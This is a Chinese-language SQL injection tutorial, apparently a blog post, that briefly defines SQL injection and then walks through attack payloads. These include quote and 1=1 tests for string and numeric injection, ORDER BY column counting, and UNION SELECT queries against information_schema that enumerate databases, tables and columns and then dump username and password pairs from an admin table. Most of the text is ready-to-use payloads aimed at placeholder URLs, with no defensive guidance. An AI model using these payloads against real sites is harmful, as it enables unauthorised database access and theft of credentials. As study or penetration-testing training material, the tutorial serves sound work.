1day sql(第一期)
sql注入简介
sql注入攻击是由插入或注入一段从客户端输入的sql语句引起的。一个成功的sql注入利用(exploit)能从数据库读取敏感数据,改变数据库数据(通过Insert/Update/Delete),在数据库执行(execute)管理员操作(比如关闭数据库管理系统DBMS),在DBMS文件系统上回复指定文件的内容和在一些场景下执行操作系统命令(command)。sql注入攻击是一种注入攻击,它将sql命令注入到数据平面(data-plan)使得影响预先设置的sql命令的执行结果。
判断是否存在注入
1.字符型
法一:
- http://www.xxx.com/xxx.asp?n=article’ 报错
- http://www.xxx.com/xxx.asp?n=article’ and ‘1’ ='1,查询成功
- http://www.xxx.com/xxx.asp?n=article’ and ‘1’ ='2,查询失败,返回结果为空或错误
法二:
- 1’ and 1=1 # (1’ and 1=1- -+)
- (#或–代表注释的意思,用- -时后需加空格,或用+也可执行成功)
例:select * from table where name =‘article’ and 1=1- -+’(- -+可将后面的注释掉)
说明存在字符型注入
2.数字型
http://www.xxx.com/xxx.asp?n=22’ 返回错误(网页消失)
http://www.xxx.com/xxx.asp?n=22 and 1=1 返回正常
http://www.xxx.com/xxx.asp?n=22 and 1=2返回错误
说明存在数字型注入
猜解SQL查询语句中的字段
http://www.xxx.com/xxx.asp?n=22 order by n
n为数字,从1开始,当查询到n+1时报错,则字段数为n
http://www.xxx.com/xxx.asp?n=22 union select 1,2…n from admin
// admin为猜解的表名
order by 查询几个字段 然后union select 1,2…查看相关字段(回显id代表的含义)。例如union select user(),database()
2.获取数据库中的表:
id=1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() # //字符型
id =-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()
3.获取表中的字段名
id =1 union select 1,group_concat(column_name) from information_schema.columns where table_name='users ’# //若'字符被转义则可换成十六进制形式
id=-1 union select version(),(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=’data’)
//data 和users为表名
5.获取数据:
id=-1 union select version(),(select thekey from data) //thekey是字段名
7.下载数据
1 or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #
例:
读出所有库:
http://www.xx.com/1.php?id=-1 union select 1,2,3,4,5,6,7,8,group_concat(schema_name),10,11,12,13,14,15,16,17 from information_schema.SCHEMATA
读出所有表:
http://www.xx.com/1.php?id=-1 union select 1,2,3,4,5,6,7,8,group_concat(table_name),10,11,12,13,14,15,16,17 from information_schema.tables(admin) where table_schema=database()
mysql4.1以上版本支持concat函数
a. 执行语句
union select 1,2,3,4,group_concat(table_name),6,7,8,9,10 from information_schema.tables where table_schema=0x77677978797765626D6973
结果爆出 admin等表
b. 执行:
and 1=2 union select 1,2,3,4,group_concat(column_name),6,7,8,9,10 from
information_schema.columns where table_name=0x61646D696E
结果爆出: username,password 等一些 字段
c.执行:
and 1=2 union select 1,2,3,4,group_concat(username,0x3a,password),6,7,
8,9,10 from admin
结果爆出:字段内容
浙公网安备 33010602011771号